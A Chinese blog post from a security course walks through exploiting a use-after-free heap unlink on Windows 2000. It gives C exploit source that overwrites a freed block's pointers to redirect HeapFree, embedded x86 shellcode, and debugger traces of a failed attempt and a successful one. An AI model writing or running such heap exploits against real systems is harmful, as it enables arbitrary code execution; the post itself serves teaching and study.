Windows 内存释放后写入漏洞的简单利用
曾经在软件安全这门课中做过一个动态内存安全方面的 Presentation,现在对其做一个简单整理。
原理
利用 Windows RtlHeap 内存管理原理,在内存释放后覆盖空闲块的前后向指针,并触发 unlink 来实现前向指针的任意写。
Windows & Unlink
Windows 是闭源系统,通过逆向人员的研究可知,Windows 的 Unlink 操作与 Linux 基本一致:
Windows 的 RtlHeap 结构:
基本操作
将空闲块的前向指针覆盖为待覆写的地址,后向指针覆盖为 Shellcode 的地址,该空闲块被再次分配的时候,通过 unlink 操作实现任意写:将后向指针( Shellcode 地址)写入前向指针(待覆写内存的地址指针)所指向的内存。
即将 H1 的 FP 的内容写入到 H1 的 BP 所指的地址。
调试分析
调试环境
- 操作系统:Windows 2000 5.00.2195
- 编译:VC 6.0
- 调试工具:OllyDbg v1.10
- 插件:OllyHeapTrace v1.1
源代码分析
代码来源:教材《Secure Coding in C and C++》
完整代码
#include "windows.h"
typedef struct _unalloc {
PVOID fp;
PVOID bp;
} unalloc, *Punalloc;
char shellcode[] = "";
int main(int argc, char *argv[]) {
Punalloc h1;
HLOCAL h2 = 0;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h1);
h1->fp = (PVOID)(0x0042A1AC - 4);
h1->bp = shellcode;
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h2);
return 0;
}
Line 3-6
typedef struct _unalloc {
PVOID fp;
PVOID bp;
} unalloc, *Punalloc;
定义空闲内存块的结构体。
fp
是空闲块的前向指针,bp
是空闲块的后向指针。
其中的 PVOID
是 Windows 特有的结构体,可以当作字符指针来使用。
Line 11-12
int main(int argc, char *argv[]) {
Punalloc h1;
HLOCAL h2 = 0;
...
return 0;
}
第一行用之前定义的空闲内存块结构体声明一个堆指针 h1
。
第二行用 Windows 的内存块指针结构体 HLOCAL
声明一个内存块指针 h2
。
Line 13-14
int main(int argc, char *argv[]) {
...
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
...
return 0;
}
第一行用 Windows 的堆指针数据类型 HANDLE
声明一个堆指针 hp
。
第二行调用 HeapCreate
函数创建了一个新堆,初始大小为 0x1000
,最大大小为 0x10000
,堆起始地址返回给 hp
。
Line 15-16
int main(int argc, char *argv[]) {
...
h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h1);
...
return 0;
}
第一行申请 32
字节大小的内存空间,强制转化为我们之前自定义的 Punalloc
结构体类型,起始地址返回给 h1
。
第二行将上一行申请来的内存块 h1
释放掉。
这样 h1
就成了一个空闲块,并返回到 FreeList[0]
大空闲块的位置。
Line 17-18
int main(int argc, char *argv[]) {
...
h1->fp = (PVOID)(0x0042A1AC - 4);
h1->bp = shellcode;
...
return 0;
}
虽然 h1
的内存已经被释放,成为了一个空闲块,但是 h1
任然存着当初分配的内存的起始地址,此时此刻前后向指针都指向 FreeList[0]
头。
第一行将空闲块的前向指针覆写为 0x0042A1AC
(HeapFree
的调用地址)。这个地址里面存着HeapFree
函数的入口点。
第二行将空闲块的后向指针覆写为 shellcode
的地址。
Line 19-20
int main(int argc, char *argv[]) {
...
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h2);
return 0;
}
再次申请一块 32
字节大小的内存块,系统会将之前 h1
回收的这块内存分配出来,这就意味着有 unlink
的操作。
通过第一行对的内存申请实现任意写:将后向指针(shellcode
地址)写入前向指针(HeapFree
的地址)所指向的内存。
第二行调用 HeapFree
函数,实际上是调用执行 shellcode
。
实际调试
在 OD 里找到 main
函数入口点:
在执行完 HeapCreate
后,函数返回(EAX
)堆起始地址,堆起始地址为 0x00360000
:
在执行完 HeapAlloc
后,函数返回(EAX
)申请的内存空间起始地址,起始地址为0x00360688
:
堆起始地址偏移 0x178
处为 FreeList[0]
,可看出 h1
的起始地址为 0x00360688
:
申请的空间 h1
被初始化为 0
:
主函数中的结构体的前后向指针的赋值:
可以看到在 h1
被释放后,其前后向指针已经被改写了;后向指针被改为待覆写地址 0x0042A1AC
,后向指针被改写为 shellcode
的地址:
在 IDA 里可以查到 HeapFree
的调用地址为 0x0042A1AC
:
此处相当于 Linux 中的 GOT 表,0x0042A1AC
中存储的是 HeapFree
在 kernel32.dll 中的函数入口地址:
但是在 HeapAlloc
h2
时,由于 Windows 自己的安全检查机制,该 GOT 表处被改成了堆上的一个地址:
自然,代码跳到了堆上执行,而没有跳到预期的 shellcode
上执行
漏洞利用失败!
改进利用代码
第 16 行执行结束后,h1
被释放,所有的区域都是空闲的,形成一个大的空闲块,FreeList[0]=h1
。h1
之前 8
个字节存放的是整个空闲块的边界标志,h1
处存放的是 Freelist[0]
的地址值,h1
执行完 18 行时,第一块的前后向指针被成功的覆写。但是执行到第 19 行时,unlink 执行成功,但是程序紧接着会报错,无法跳转执行 shellcode
。
花了很多时间调试和查资料才发现,这是由于 Windows 内存管理器对大空闲块(即 FreeList[0]
处存放的空闲块)的管理机制造成的。当整个空闲块的前后向指针被覆写,空闲块分配一部分内存块给 h2
之后,剩余空闲块的边界标志和前后向指针发生了变化,其中前向指针被修改为 D1=[0x0042A1AC-4]
(0x0042A1AC
为函数 HeapFree
的地址),后向指针被修改为 D2=[[0x042817C-4]+4]
,而内存管理器需要将 D2
的前向指针,D1
的后向指针更新为大空闲块此时的地址,但是发现 D2
处有内存保护,不能执行写操作。因此程序报错,不能往下执行。
所以解决思路是:如果已释放内存块 h1
被放入了 FreeList[5]
而不是和其余未分配内存一起放入了 FreeList[0]
中,那么此时通过修改 h1
的前后向指针,就可以达到攻击目的。
具体的解决方案就是:在申请了第一个内存块之后,再申请一个内存块,那么当第一个内存块被释放后,由于第二个内存块将第一个内存块与未分配内存分隔开了,所以第一个内存块就被放入到 FreeList[5]
中,之后修改 h1
的前后向指针,当用户再次申请和第一块内存同样大小的内存块是,执行 unlink 操作,HeapFree
函数的地址被 shellcode
的自己所覆盖,再次调用 HeapFree
函数时,触发 shellcode
。
改进后的完整代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "windows.h"
#include <tchar.h>
typedef struct _unalloc {
PVOID fp;
PVOID bp;
} unalloc, *Punalloc;
char shellcode[] =
"\x90\x90\x90\x90\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x33\xdb\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8b"
"\xc4\x53\x50\x50\x53\xb8\x68\x3d\xe2\x77\xff\xd0\x90\x90\x90"
"\x90\x90\x90\xb8\xbb\xb0\xe7\x77\xff\xd0\x90\x90\x90\x90";
int main(int argc, char *argv[]) {
Punalloc h1;
HLOCAL h2 = 0, h3 = 0;
HANDLE hp;
LoadLibrary("user32.dll");
hp = HeapCreate(0, 0x1000, 0x10000);
h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h1);
h1->fp = (PVOID)(0x0042A1AC - 4);
h1->bp = shellcode;
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
HeapFree(hp, 0, h2);
return 0;
}
在 h1
分配空间之后再申请一次空间,这样的话释放后的 h1
就不会放回 FreeList[0]
而会被放到 FreeList[5]
。
h1
和 h2
分配空间之后:
h1
被 free 之后:
h1
的前后向指针被覆写之后:
unlink 并分配 h3
之后:
改进后调试
成功: